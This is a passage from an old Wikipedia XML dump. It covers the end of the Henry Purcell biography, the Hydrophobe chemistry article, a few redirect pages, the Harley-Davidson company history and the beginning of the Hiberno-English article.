After his father's death in 1664, young Henry Purcell was placed under the guardianship of his uncle, [[Thomas Purcell]] (d. 1682), who showed him great affection and kindness.  Thomas was himself a gentleman of His Majesty's chapel, and arranged for Henry to be admitted as a chorister. Henry studied first under Captain [[Henry Cooke]] (d. 1672), master of the children, and afterwards under [[Pelham Humfrey]] (d. 1674), Cooke's successor.

Purcell is said to have been composing at nine years old; but the earliest work that can be certainly identified as his is an ode for the King's birthday, written in 1670. (The dates for his compositions are often uncertain, despite considerable research). After Humfrey's death, Purcell continued his studies under Dr [[John Blow]]. He attended [[Westminster School]] and in 1676 he was appointed [[organ (music)|organist]], at [[Westminster Abbey]] and in the same year he composed the music to [[John Dryden]]'s ''[[Aureng-Zebe]]'', and [[Thomas Shadwell]]'s ''Epsom Wells'' and ''The Libertine''. These were followed in 1677 by the music to [[Aphra Behn]]'s tragedy, ''[[Abdelazar]],'' and in 1678 by an overture and masque for Shadwell's new version of [[William Shakespeare|Shakespeare]]'s ''[[Timon of Athens]]''.  The chorus &quot;In these delightful pleasant groves&quot; from ''The Libertine'' is still performed.

In 1679, he wrote some songs for [[John Playford]]'s ''Choice Ayres, Songs and Dialogues'', and also an [[anthem]], the name of which is not known, for the Chapel-Royal. From a letter written by Thomas Purcell, and still extant, we learn that this anthem was composed for the exceptionally fine voice of the Rev. [[John Gostling]], then at [[Canterbury,_Kent|Canterbury]], but afterwards a gentleman of His Majesty's chapel. Purcell wrote several anthems at different times for this extraordinary voice, a [[basso profundo]], which is known to have had a range of at least two full [[octave|octaves]], from D below the stave to D above it. The dates of very few of these sacred compositions are known; perhaps the most notable example is the anthem ''They that go down to the sea in ships''.  In thankfulness for a providential escape of the King from shipwreck, Gostling, who had been of the royal party, put together some verses from the Psalms in the form of an anthem, and requested Purcell to set them to music. The work is a very difficult one, including a passage which traverses the full extent of Gostling's voice, beginning on the upper D and descending two octaves to the lower.

[[Image:Henry Purcell 001.jpg|thumb|right|Another portrait of Henry Purcell]]

In 1680, Blow, who had been appointed organist of [[Westminster Abbey]] in 1669, resigned his office in favour of his pupil, who was still only twenty-two. Purcell now devoted himself almost entirely to the composition of sacred music, and for six years severed his connection with the theatre. However, during the early part of the year, probably before taking up his new office, he had produced two important works for the stage, the music for [[Nathaniel Lee]]'s ''Theodosius'' and [[Thomas D'Urfey]]'s ''Virtuous Wife''. The composition of his opera ''[[Dido and Aeneas]]'', which forms a very important landmark in the history of English dramatic music, has been attributed to this period, though its earliest production has been shown by [[W. Barclay Squire]] to have been between 1688 and 1690. It was written to a libretto furnished by [[Nahum Tate]], at the request of [[Josiah Priest]], a professor of dancing, who also kept a boarding-school for young gentlewomen, first in [[Leicester Fields]] and afterwards at [[Chelsea, London|Chelsea]], where it is thought the opera had its premier. It is considered the first genuine English [[opera]]. Although it owes much to earlier [[semi-opera]]s and [[masque]]s, especially Blow's [[Venus and Adonis (opera)|Venus and Adonis]], there is no spoken dialogue, but instead the action progresses in [[recitative]]s. Dido and Aeneas never found its way to the theatre, though it appears to have been very popular among private circles. It is believed to have been extensively copied, but only one song was printed by Purcell's widow in ''Orpheus Britannicus'', and the complete work remained in manuscript until 1840, when it was printed by the [[Musical Antiquarian Society]], under the editorship of Sir [[George Macfarren]].

Soon after Purcell's marriage, in 1682, on the death of [[Edmund Lowe]], he was appointed organist of the Chapel-Royal, an office which he was able to hold simultaneously with his position at [[Westminster Abbey]]. His eldest son was born in this same year. His first printed composition, ''Twelve [[sonata (music)|Sonatas]]'', was published in [[1683]].  For some years after this he was busy in the production of sacred music, odes addressed to the king and royal family, and other similar works. In 1685 he wrote two of his finest anthems, &quot;I was glad&quot; and &quot;My heart is inditing&quot;, for the coronation of King [[James_II_of_England|James II]].

In 1687, he resumed his connection with the theatre by furnishing the music for [[John Dryden|Dryden]]'s tragedy, ''[[Tyrannick Love]]''. In this year also Purcell composed a march and quick-step, which became so popular that [[Lord Wharton]] adapted the latter to the fatal verses of ''[[Lillibullero]]''; and in or before January 1688 he composed his anthem ''Blessed are they that fear the Lord'', by express command of the King.  A few months later he wrote the music for D'Urfey's play, ''The Fool's Preferment''. In [[1690]] he wrote the songs for [[The Tempest (Dryden)|Dryden's version]] of Shakespeare's ''[[The Tempest (play)|The Tempest]]'', including ''Full fathom five'' and ''Come unto these yellow sands'', and the music for [[Thomas Betterton|Betterton]]'s adaptation of [[John Fletcher (playwright)|Fletcher]] and [[Massinger]]'s ''Prophetess'' (afterwards called [[Dioclesian]]) and Dryden's [[Amphitryon]].  In [[1691]] he produced his dramatic masterpiece, [[King Arthur (opera)|King Arthur]], also written by Dryden, and first published by the Musical Antiquarian Society in 1843. In 1692, he composed songs and music for ''[[The Fairy-Queen]]'' (an adaptation of Shakespeare's ''[[A Midsummer Night's Dream]]''), the score of which was rediscovered in 1901 and published by the [[Purcell Society]].

Purcell's ''[[Te Deum and Jubilate]]'' was written for [[Saint Cecilia]]'s Day, 1693, the first English ''[[Te Deum]]'' ever composed with orchestral accompaniment.  This work was annually performed at [[St Paul's Cathedral]] until [[1712]], after which it was performed alternately with [[Handel]]'s ''[[Utrecht Te Deum and Jubilate]]'' until 1743, when both works were replaced by Handel's ''[[Dettingen Te Deum]]''.

He composed an anthem and two elegies for [[Mary II of England|Queen Mary]]'s funeral. Besides the [[opera]]s already mentioned, Purcell wrote ''Don Quixote'', ''Boudicca'', ''The Indian Queen'' and others, a vast quantity of sacred music, and numerous [[ode|odes]], [[cantata|cantatas]] and other miscellaneous pieces. 

He died at his house in Dean's Yard, Westminster, in 1695, at the height of his powers; he was only in his mid-thirties.  His wife and three of his six children survived him. His widow died in [[1706]], having published a number of his works, including the now famous collection called ''Orpheus Britannicus'', in two volumes, printed in 1698 and 1702 respectively.  

The cause of Purcell's death is unclear: one theory is that he caught a chill after returning late from the theatre one night to find that his wife had locked him out; another is that he succumbed to chocolate poisoning; perhaps the most likely is that he died of [[tuberculosis]]. The beginning of Purcell's will reads:

:''In the name of God Amen. I, Henry Purcell, of the City of Westminster, gentleman, being dangerously ill as to the constitution of my body, but in good and perfect mind and memory (thanks be to God) do by these presents publish and declare this to be my last Will and Testament. And I do hereby give and bequeath unto my loving wife, Frances Purcell, all my estate both real and personal of what nature and kind soever...''

Purcell is buried adjacent to the organ in Westminster Abbey. His epitaph reads, &quot;Here lyes Henry Purcell Esq., who left this life and is gone to that blessed place where only his harmony can be exceeded&quot;.

A [[Purcell Club]] was founded in London in 1836 for promoting the performance of his music, but was dissolved in 1863. In 1876 a [[Purcell Society]] was founded, which published new editions of his works.

After his death, Purcell was honored by many of his contemporaries, including his old friend [[John Blow]], who wrote ''An Ode, on the Death of Mr Henry Purcell (Mark how the lark and linnet sing)'' with text by his old collaborator John Dryden.

The English poet [[Gerard Manley Hopkins]] wrote a famous sonnet entitled simply ''Henry Purcell'', with a head-note reading: &quot;The poet wishes well to the divine genius of Purcell and praises him that, whereas other musicians have given utterance to the moods of man's mind, he has, beyond that, uttered in notes the very make and species of man as created both in him and in all men generally.&quot;

A modern day [[Purcell Club]] has been created, and provides guided tours and concerts in support of [[Westminster Abbey]].

Purcell is among the Baroque composers who has had a direct influence on modern rock and roll; according to [[Pete Townshend]] of [[The Who]], Purcell was among his influences, particularly evident in the opening bars of The Who's &quot;[[Pinball Wizard]].&quot; 

Purcell also had a strong influence on the composers of the English musical renaissance of the early twentieth century, most notably [[Benjamin Britten]], who created and performed a realisation of ''Dido and Aeneas'' and whose ''Young Person's Guide to the Orchestra'' is based on a theme from Purcell's ''Abdelazar''.

==References==
*{{1911}}

==Media==
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{{multi-listen item|filename=Purcell ode. 4 here the deities approve.ogg|title=Ode 4 - Here the Deities Approve|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Purcell ode. 5 while joys celestial.ogg|title=Ode 5 - While Joys Celestial|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Purcell ode. 6 then lift up your voices.ogg|title=Ode 6 - Then Lift Up Your Voices|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Purcell ode. 7 beauty, thou scene of love.ogg|title=Ode 7 - Beauty, Thou Scene of Love|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Purcell ode. 8 in a consort of voices.ogg|title=Ode 8 - In a Consort of Voices|description=|format=[[Ogg]]}}
{{multi-listen end}}

==See also==
*[[List of compositions by Henry Purcell]]
*[[Dido and Aeneas]]
*[[King Arthur (opera)|King Arthur]]
*[[The Fairy-Queen]]

==External links==
*[http://www.gutenberg.org/etext/14430 Purcell] by John F. Runciman, a biography forming part of Bell's Miniature Series of Musicians published in 1909, from [[Project Gutenberg]]
*[http://www.cpdl.org/wiki/index.php/Henry_Purcell Henry Purcell] on ChoralWiki
*{{IckingArchive|idx=Purcell|name=Henry Purcell}}

[[Category:17th century births|Purcell, Henry]]
[[Category:1695 deaths|Purcell, Henry]]
[[Category:Baroque composers|Purcell, Henry]]
[[Category:English composers|Purcell, Henry]]
[[Category:Old Westminsters|Purcell, Henry]]
[[Category:Opera composers|Purcell, Henry]]

[[ar:هنري برسل]]
[[bg:Хенри Пърсел]]
[[da:Henry Purcell]]
[[de:Henry Purcell]]
[[es:Henry Purcell]]
[[eo:Henry PURCELL]]
[[fr:Henry Purcell]]
[[hr:Henry Purcell]]
[[is:Henry Purcell]]
[[it:Henry Purcell]]
[[he:הנרי פרסל]]
[[nl:Henry Purcell]]
[[ja:ヘンリー・パーセル]]
[[no:Henry Purcell]]
[[nn:Henry Purcell]]
[[pl:Henry Purcell]]
[[fi:Henry Purcell]]
[[sv:Henry Purcell]]
[[tr:Henry Purcell]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrophobe</title>
    <id>14136</id>
    <revision>
      <id>41054876</id>
      <timestamp>2006-02-24T19:38:21Z</timestamp>
      <contributor>
        <username>Omegatron</username>
        <id>18931</id>
      </contributor>
      <comment>/* See also */ «+&quot;[[Superhydrophobe]] *&quot;»</comment>
      <text xml:space="preserve">:''For other uses, see [[Hydrophobia]]''.
----
'''Hydrophobe''' (from the [[Greek language|Greek]] ''(hydros)'' &quot;water&quot; and ''(phobos)'' &quot;fear&quot;) in [[chemistry]] refers to the physical property of a [[molecule]] that is repelled by [[water]]. Hydrophobic molecules in water often cluster together.

'''Hydrophobic''' or '''lipophilic''' species, or hydrophobes, tend to be [[electrically neutral]] and [[nonpolar]], and thus prefer other neutral and nonpolar [[solvent|solvents]] or molecular environments. ''Hydrophobic'' is often used interchangeably with &quot;oily&quot; or &quot;lipophilic.&quot;

The term '''hydrophobic interaction''' ('''HI''') has been used in the context of several closely-related phenomena to hydrophobic species.

According to [[thermodynamics]], matter seeks to be a low-energy state, and bonding reduces chemical energy. Water is electrically polarized, and is able to form [[hydrogen bond]]s internally, which gives it many of its unique physical properties. But, since hydrophobes are not electrically polarized, and because they are unable to form hydrogen bonds, water repels hydrophobes, in favour of bonding with itself. It is this effect that causes the hydrophobic interaction - which in itself is incorrectly named as the energetic force comes from the hydrophilic molecules. Thus the two immiscible phases (hydrophilic vs. hydrophobic) will change so that their corresponding interfacial area will be minimal. This effect can be visualized in the phenomenon called [[phase separation]].

Examples of '''hydrophobic''' [[molecules]] include the [[alkanes]], oils, fats, and greasy substances in general. Hydrophobic materials are used for oil removal from water, the management of oil spills, and chemical separation processes to remove non-polar from polar compounds.

=== See also ===

* [[Superhydrophobe]]
* [[Hydrophobia]]
* [[Hydrophile]], [[hydrophilic]]
* [[Amphiphiles]]
* [[Wetting]]

== References ==

* Aryeh Ben-Na'im ''Hydrophobic Interaction'' Plenum Press, New York (ISBN 0-306-40222-X)

[[Category:Chemical properties]]
[[Category:Biophysics]]

[[it:Idrofobico]]
[[de:Hydrophob]] [[de:Hydrophobie (Chemie)]] &lt;!-- adj and noun in sep. articles --&gt;
[[fr:Hydrophobe]]
[[sl:hidrofobnost]]
[[nl:Hydrofoob]] [[nl:lipofiel]] &lt;!-- adj and noun in sep. articles --&gt;
[[ja:&amp;#30094;&amp;#27700;&amp;#24615;]]
[[sv:Hydrofob]]

{{chem-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Horror fiction authors</title>
    <id>14138</id>
    <revision>
      <id>15911714</id>
      <timestamp>2003-05-15T03:54:21Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[List of horror fiction authors]]</text>
    </revision>
  </page>
  <page>
    <title>History of Theater</title>
    <id>14139</id>
    <revision>
      <id>15911715</id>
      <timestamp>2002-05-05T00:33:53Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#redirect [[History of theater]]</comment>
      <text xml:space="preserve">#redirect [[History of theater]]
 </text>
    </revision>
  </page>
  <page>
    <title>Harley-Davidson</title>
    <id>14142</id>
    <revision>
      <id>41733634</id>
      <timestamp>2006-03-01T10:32:19Z</timestamp>
      <contributor>
        <username>Softgrow</username>
        <id>240189</id>
      </contributor>
      <minor />
      <comment>/* External links */ copyedit syntax</comment>
      <text xml:space="preserve">[[Image:Harley_Davidson_2003.jpg|thumb|250px|Anniversary badge on a 2003 Harley-Davidson]]

{{Infobox_Company |
| company_name = Harley-Davidson Motor Company
| company_logo = [[Image:Harley Davidson logo.jpg|250px]]
| company_type =  [[Public company]]
| foundation = [[1903]]
| location = [[Milwaukee, Wisconsin]]
| key_people = [[James L. Ziemer]], CEO &amp; CFO&lt;br /&gt;[[James A. McCaslin]], Div. President &amp; Div. COO&lt;br /&gt;[[Donna F. Zarcone]], Div. President &amp; Div. COO
| industry = [[recreational vehicles (industry)|recreational vehicles]]
| products = [[motorcycle]]s
| revenue =  $5,015 million ([[2004]])
| num_employees = 9,000 ([[2004]])
| homepage = http://www.harley-davidson.com/
}}
The '''Harley-Davidson Motor Company''' {{nyse|HDI}} is a manufacturer of [[motorcycle|motorcycles]] based in [[Milwaukee, Wisconsin]], making it one of the two remaining American mass-producer of motorcycles (along with [[Victory Motorcycles]]).  The company emphasizes heavy bikes designed for cruising and known for their distinctive exhaust noise. 

Harley-Davidson motorcycles (popularly referred to as &quot;Harleys&quot;) are distinctive in design and attract a loyal following, and hold their resale value very well compared to other vehicles. A well maintained vehicle might never drop in value at all, although regular maintenance is expected.

Detractors contend that Harleys are badly engineered, under-powered and under-performing, and have poor handling and suspension.  This is attributed to an American pedigree that favors designs for long, low-speed cruising on flat, straight roads.

The company supplies many domestic [[police force]]s with their motorcycle fleets. Harleys are especially noted for the tradition of heavy customization that gave rise to the [[Chopper (motorcycle)|chopper]]-style of motorcycle.  It also licenses its logo, which is a profitable side business ($41 million of revenue in 2004, or almost 5% of net income).

Since [[1998]] Harley-Davidson has also owned [[Buell Motorcycle Company]]. 

== The Harley-Davidson V-twin engine==
[[Image:Harley_V-twin.jpg|thumb|right|250px|'''Harley-Davidson''' 45° V-twin, Evo Sportster.]]
The classic Harley-Davidson engines are two-[[cylinder (engine)|cylinder]], [[V-twin]] engines with the pistons placed at a 45 degree angle.  The [[crankshaft]] has a single pin, and both [[piston]]s are connected to this pin through their [[connecting rod]]s. This design causes the pistons to fire at uneven intervals.

On the V-twin, the sequence is as follows:
# the first piston fires (this is the 0° position)
# the other piston fires at 315° into the stroke
# there is a 405° gap (as both cylinders go through their exhaust stroke) until the first piston fires again
This design, which is covered under several [[United States Patent and Trademark Office|United States patent]]s, gives the Harley-Davidson V-twin its unique &quot;potato-potato&quot; sound.

On [[1 February]] [[1994]], the company filed a [[trademark]] application for 
the distinctive sound of a Harley-Davidson motorcycle engine: &quot;The mark consists of the exhaust sound of applicant's motorcycles, produced by V-twin, common crankpin motorcycle engines when the goods are in use&quot;. Nine of Harley-Davidson's competitors filed comments opposing the application, arguing that cruiser-style motorcycles of various brands use a single-crankpin V-twin engine which produce a similar sound. These objections were followed by litigation.  After six years, Harley-Davidson withdrew their trademark application.

[[Image:harley.electraglide.750pix.jpg|thumb|250px|'''Harley-Davidson''' Electra Glide &quot;Ultra Classic&quot;.]]

===The Big Twins===
* [[Flathead engine|Flathead]], 1909-1936.
* [[Knucklehead]], 1936-47, 61 and 74 cubic inches (1.0 and 1.2 L)
* [[Panhead]], 1948-65, 61 and 74 cubic inches (1.0 and 1.2 L)
* Shovelhead, 1966-85, 74 cubic inches (1.2 L) and 80 cubic inches since late 1978
* Evolution (aka &quot;Evo&quot; and &quot;Blockhead&quot;), 1984-99, 80 cubic inches (1.3 L)
* Twin Cam 88 (aka &quot;Fathead&quot;) 1999-present, 88 cubic inches (1.4 L)
* Twin Cam 88B (counter balanced version of the Twin Cam 88) 2000-present, 88 cubic inches (1.4 L)
* All Big Twins are air-cooled 45-degree V-Twins.

===The Sportsters===
* Ironhead, 1957-1985, 900 and 1000 cc
* Evolution, 1986-present, 883, 1100 and 1200 cc

===Revolution water-cooled engine===
* Revolution, 2002-present, 69 cubic inches (1.13 L), 60 degree V-twin, Liquid cooled.
* Used in VRSC (V-Twin Racing Street Custom) models. At first it was used in a single model called the V-Rod; it now comes in four consumer models: The V-Rod, the &quot;roadster-styled&quot; Street Rod, the long and low Night Rod, and the VRSCSE² Screamin’ Eagle V-Rod. 
* There is also a non-street fifth variant: the VRXSE SE Destroyer.  The Screamin’ Eagle V-Rod Destroyer is a 165+hp, professional-level drag-racing motorcycle designed exclusively for competition by Harley-Davidson Custom Vehicle Operations; it comes stock with larger 79 cu.in.  engine, air shifter and wheelie bar, among other features.  The Destroyer is a turn-key motorcycle tuned to make sub 10-second quarter-mile runs in the hands of a pro-level rider.

==Model designations==
Harley model designations are a sequence of letters and numbers, combined in limited ways.  The sequences can be long, as in the [[2006]] model designation FLHTCUSE.  

The first letter is one of the following:
:F (Big Twin), M (Military), X (Sportster), or V (VRSC)

Letters are appended singly or in pairs, as follows:
:B (Belt Drive), C (Classic or Custom), D (Dyna Glide), DG (Disk Glide), E (Electric start), F (Fat Boy (1990-present) or Foot-shift (1972 and prior)), H (High compression), L (Hydra Glide forks), LR (Low Rider), P (Police), R (Race or Rubber-mount), S (Sport or Springer), SB (Single belt final drive), ST ([[Softail]]), T (Touring), WG (Wide Glide),  I (Fuel injection), SE (Screamin’ Eagle), U (Ultra)

Custom Vehicle Operations models can also have a number (2,3,4) added. 

Note that these conventions for model designations are broken regularly by the company.

== History ==
=== Company founding ===
The company considers [[1903]] to be its year of founding, though the Harley-Davidson enterprise could be considered to have started in [[1901]] when William S. Harley, age 21, drew up plans for a small engine that displaced 7.07 cubic inches (116cc) and had four-inch flywheels. The engine was designed for use in a regular pedal-bicycle frame.

Over the next two years Harley and his boyhood pal Arthur Davidson labored on their little motor-bicycle using the northside machine shop of their friend Henry Melk. It was finished in [[1903]] with the help of Arthur's brother, Walter Davidson. Upon completion the boys found their little &quot;power-cycle&quot; unable to conquer Milwaukee's modest hills without pedal assistance. Will Harley and the Davidsons quickly wrote off their first motor-bicycle as a valuable learning experiment. 

Starting fresh, work was immediately begun on a new and much improved machine. This first &quot;real&quot; Harley-Davidson motorcycle would have a bigger engine of 24.74 cubic inches (405cc) with 9-3/4 inch flywheels weighing 28 pounds. The machine's advanced loop-frame was similar to the 1903 [[Milwaukee Merkel]] motorcycle. They also got help with their new engine from outboard motor pioneer [[Ole Evinrude]]. Elder brother William A. Davidson also lent a hand in the enterprise. 

The prototype of the new improved loop-frame model was assembled in a 10 by 15 foot (3 by 5 meter) shed in the Davidson family backyard. The machine was functional by [[8 September]] [[1904]] when it was entered in a Milwaukee motorcycle race, the first known appearance of a Harley-Davidson motorcycle.

In January [[1905]], small advertisements were placed in the &quot;Automobile and Cycle Trade Journal&quot; that offered bare Harley-Davidson engines to the do-it-yourself trade. By April, complete motorcycles were in production on a very limited basis. In 1905 no more than a dozen machines were built in the backyard shed. (Some years later the original shed was taken to the Juneau Avenue factory where it would stand for many decades as a tribute to the Motor Company's humble origins. Unfortunately, the first shed was &quot;accidentally&quot; destroyed by contractors in the early [[1970s]] during a clean-up of the factory yard.)

In [[1906]] Harley and the Davidsons built their first factory on Chestnut Street (later Juneau Avenue). This location remains the Motor Company's corporate [[headquarters]] today. The first Juneau Avenue plant was a modest 40 by 60 foot single-story wooden structure. That year around 50 motorcycles were produced. 
[[Image:1907 Harley Davidson.jpg|thumb|right|1907 model.]]
In 1907 William S. Harley graduated from the [[University of Wisconsin]] at Madison with a degree in [[mechanical engineering]]. That year additional factory expansion came with a second floor and later with facings and additions of Milwaukee pale yellow (&quot;cream&quot;) brick. With the new facilities production increased to 150 motorcycles in [[1907]]. That September a milestone was reached when the fledgling company was officially incorporated. They also began selling their motorcycles to police departments around this time, a tradition that continues today. 

Production in 1905 and 1906 were all single-cylinder models with 26.84 cubic inch (440cc) engines. But as early as February of 1907 a prototype model with a 45-degree V-Twin engine was displayed at the [[Chicago]] Automobile Show. Although shown and advertised, very few dual cylinder V-Twin models were built between 1907 and [[1910]]. These first V-Twins displaced 53.68 cubic inches (880cc) and produced about 7 horsepower (5 kW). This gave about double the hill-climbing power of the first singles. Top speed was about 60 mph (97 km/h). Not bad in those days of primitive mud-rut and sand roads. Production paced factory expansion, jumping from 450 motorcycles in [[1908]] to 1,149 machines in [[1909]].

The success of Harley-Davidson (along with [[Indian (motorcycle)|Indian]]'s success) had attracted great attention and many imitators. By [[1911]] some 150 makes of motorcycles had already been built in the [[United States]] -- although just a handful would survive the [[1910s]].

In 1911 an improved V-Twin model with mechanically operated intake valves was introduced. (Earlier V-Twins had used &quot;automatic&quot; intake valves that opened by engine vacuum). Displacing 49.48 cubic inches (810cc), the 1911 V-Twin was actually smaller than earlier twins, but gave better performance. After 1913 the majority of bikes produced by Harley-Davidson would be V-Twin models.

By [[1913]] the yellow brick factory had been demolished and on the site a new 5-story structure of reinforced concrete and red brick had been built. Begun in 1910, the red brick factory with its many additions would take up two blocks along Juneau Avenue and around the corner on 38th Street. Despite the competition, Harley-Davidson was already pulling ahead of Indian and the rest of the pack and would also dominate motorcycle racing after [[1914]]. Production that year swelled to 16,284 machines. Although the future looked rosy, on the horizon lay the gathering storm clouds of world war.

=== World War I era ===
In [[1917]], the United States was drawn into [[World War I]]. The military demanded motorcycles for the war effort. Harleys had already been used by the military in border skirmishes with [[Pancho Villa]], but World War I was the first time the motorcycle had been broadly adopted for combat service. The company had consolidated its position as the motorcycle of choice for police forces. Harley-Davidson provided over 20,000 machines to the military forces during World War I.

By [[1920]], Harley-Davidson was the largest motorcycle manufacturer in the world. Their motorcycles were sold by dealers in 67 countries. Production was 28,189 machines.

In [[1921]], a milestone was reached in motorcycle racing. A Harley-Davidson machine was the very first to win a race at an average speed of over 100 mph (160 km/h).

During the [[1920s]], several improvements were put in place, such as a new 74 cubic inch (1.2 L) V-Twin, introduced in [[1922]], and the gas tank we still see today, called a &quot;Teardrop&quot; tank, in [[1925]]. A front brake was added in [[1928]].

=== World War II era ===
One of only two American cycle manufacturers to survive the [[Great Depression]], Harley-Davidson again produced large numbers of motorcycles for the army in [[World War II]] and resumed civilian production afterwards, producing a range of large V-twin motorcycles that were successful both on racetracks and for private buyers.

=== Tarnished reputation ===
[[Image:Fxstc1998.jpg|thumb|right|200px|1998 Harley-Davidson FXSTC]]
In [[1969]], [[American Machinery and Foundry]] (AMF) bought the company, streamlined production, and slashed the workforce. This tactic resulted in a [[labor strike]] and an even lower quality of bikes.  The company also ceased to be an innovator in the motorcycle industry, with a design that remained basically unchanged for many years.  The bikes were expensive and far inferior in performance, handling, and quality to [[Japan]]ese motorcycles.  Sales declined, quality plummeted, and the company almost went [[bankrupt]].  The venerable name of &quot;Harley-Davidson&quot; was mocked as &quot;Hardly Ableson&quot;, and the nickname &quot;Hog&quot; became pejorative.  

=== Heavyweight leadership regained ===
In [[1981]], AMF sold the company back to a group of thirteen investors led by Vaughn Beals and Willie G. Davidson.  They introduced the &quot;[[Sturgis]]&quot; model boasting a dual belt-drive. Inventory was strictly controlled using the [[Just In Time]] system.  As a result, quality and buyers slowly returned. The motor company increased sales and gradually captured an ever increasing zealous following of loyal customers.

Rather than trying to match the Japanese at their own game, this new management deliberately exploited the &quot;retro&quot; appeal of the machines, building motorcycles that deliberately adopt the look and feel of their earlier machines and the subsequent customizations of owners of that era. Quality increased, and technical improvements were made, but these goals were never achieved at the cost of substantially modifying the design of the machine except by gradual degrees.

By [[1990]], with the introduction of the &quot;Fat Boy&quot;, Harley once again became the sales leader in the heavyweight (over 750cc) market. There was a controversy that the Fat Boy model was allegedly inspired by the name of the bombs ([[Fat Man]] and [[Little Boy]]) that were dropped on [[Nagasaki]] and [[Hiroshima]].  The company vehemently denies this and claims it is coincidence. Harley maintains dominance in sales to date.

In [[1999]], [[Ford Motor Company]] added a Harley-Davidson edition to the [[Ford F-Series]] F-150 line, complete with the Harley-Davidson logo. This truck was an extended-cab for model year 1999. In [[2000]], Ford changed the truck to a crew cab and in [[2002]] added a super-charged engine (5.4L) which continued until [[2003]]. In [[2004]], the Ford / Harley was changed to a Super-Duty, which continues through [[2006]]. Ford will again produced a Harley-Davidson Edition F-150 for their 2006 model-year, as well.

== Events  ==
In [[2003]], Harley-Davidson Company celebrated its 100th birthday. On [[Labor Day (United States)|Labor Day]] weekend the city of Milwaukee hosted the largest Harley-Davidson event, if not the largest motorcycle event, in history.

Harley riders also frequent certain regularly-held events:
*[[Sturgis Motorcycle Rally]] - Held at the beginning of August each year in [[Sturgis, South Dakota]], 514,951 attended in 2004. 
*[[Laconia Motorcycle Week]] - Held since the first Loudon classic race started 1923. Located in [[Laconia, New Hampshire]].
*[[Daytona Beach Bike Week]] - Held since 1937 in [[Daytona Beach, Florida]]. 
*[[Republic of Texas Biker Rally]] - A popular event in [[Austin, Texas]] held every June.
*[[Myrtle Beach Bike Week]] - A spring and fall rally in [[Myrtle Beach, South Carolina]] Click on link [http://www.myrtlebeachbikeweek.com here].
*[http://www.rollingthunder1.com/ Rolling Thunder] - An annual rally in Washington, D.C. to raise awareness of veteran issues (specifically POW/MIA soldiers).

== Harley Owners Group==
[[Image:Harley Rider.JPG|thumb|right|250px|'''Harley-Davidson 2004 Heritage''' ]]
Harley-Davidson established the Harley Owners Group (HOG)[http://www.hog.com] in [[1983]] in response to a growing desire by Harley riders for an organized way to share their passion and show their pride. By [[1985]], 49 local chapters had sprouted around the country, with a total membership of 60,000.

Rapid growth continued into the 1990s, and in [[1991]] HOG officially went international, with the first official European HOG Rally in Cheltenham, [[England]]. Worldwide membership numbered 151,600, with 685 local chapters.

As the '90s continued, HOG spread into [[Asia]], including new chapters in [[Singapore]] and [[Kuala Lumpur]], [[Malaysia]]. By [[1999]], worldwide membership had hit the half-million mark, and the number of local chapters totaled 1,157. Today, more than 800,000 members make HOG the largest factory-sponsored motorcycle organization in the world, and it shows no signs of slowing down.

Famous owners of Harley Davidsons include professional wrestling legend [[Mark Calaway|The Undertaker]], comedian [[Jay Leno]] and singer [[Elvis Presley]].

==See also==
Harley-Davidson motorcycles has long been associated with the sub-cultures of the:
*[[Biker]]
*[[Outlaw biker]]
*[[Motorcycle club]]
*[[Motorcycle gang]]

==External links==
*[http://www.harley-davidson.com/ Offical Harley-Davidson Inc. Corporate website]
*[http://www.hdforums.com/ Harley Davidson Forum]

==References==
*Wagner, Herbert, [[2003]]. ''At the Creation: Myth, Reality, and the Origin of the Harley-Davidson Motorcycle, 1901-1909'' ([[Wisconsin Historical Society]] Press, 228 pp.)
*Bach, Sharon and Ken Ostermann, eds. [[1993]]. ''The Legend Begins: Harley-Davidson Motorcycles, 1903-1969'' (Harley-Davidson, Inc., 227 pp.)


[[Category:Car companies of the United States]]
[[Category:Companies based in Wisconsin]]
[[Category:Milwaukee, Wisconsin]]
[[Category:Motorcycle manufacturers]]

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[[ja:ハーレーダビッドソン]]
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    </revision>
  </page>
  <page>
    <title>Harappan Civilisation</title>
    <id>14143</id>
    <revision>
      <id>15911718</id>
      <timestamp>2003-11-08T10:59:12Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Indus Valley Civilization]]</text>
    </revision>
  </page>
  <page>
    <title>Hiberno-English</title>
    <id>14144</id>
    <revision>
      <id>41853850</id>
      <timestamp>2006-03-02T04:02:10Z</timestamp>
      <contributor>
        <username>UKPhoenix79</username>
        <id>311707</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{English_dialects}}
'''Hiberno-English''' is the form of the [[English language]] used in [[Ireland]]. Hiberno-English is also called '''Irish English''' and rarely '''Anglo-Irish'''.

The type of English spoken in Ireland is founded in the types of English and [[Scots language|Scots]] that were brought to Ireland during the English and Scottish [[Plantations of Ireland]] in the sixteenth and seventeenth centuries, and their change due to the influence of the [[Irish language]] on these forms of English. The linguistic interference of the Irish language on the English spoken in Ireland is most clearly seen in those areas where Irish is still spoken as a mother tongue or where it has survived until recently.

The standard spelling and grammar are the same as UK English but, especially in the spoken language, there are some unique characteristics, due to the influence of the [[Irish language]] on pronunciation.

== Pronunciation ==
Hiberno-English retains many [[phonemic differentiation]]s merged in other accents of English. Phonetic transcriptions are given using [[International Phonetic Alphabet|IPA]].

* With some local exceptions (most notably [[Drogheda]] and some other eastern towns, whose accent is distinctly [[non-rhotic]]), 'r' is pronounced wherever it occurs in the word, making Irish English a generally [[rhotic and non-rhotic accents|rhotic]] dialect.
* 't' is rarely pronounced as a plosive when not at the beginning of a word, instead being a fricative between 's' and 'sh'
* The distinction of ''w'' {{IPA|[w]}} and ''wh'' {{IPA|[&amp;#653;]}}, as in ''wine'' vs ''whine'' is preserved.
* In some varieties, [[Phonological history of the low back vowels#Father-bother merger|Merger of the vowels in ''father'' and ''bother'']] in Southern Irish English; {{IPA|/fɑːðɚ/}} and {{IPA|/bɑːðɚ/}}.
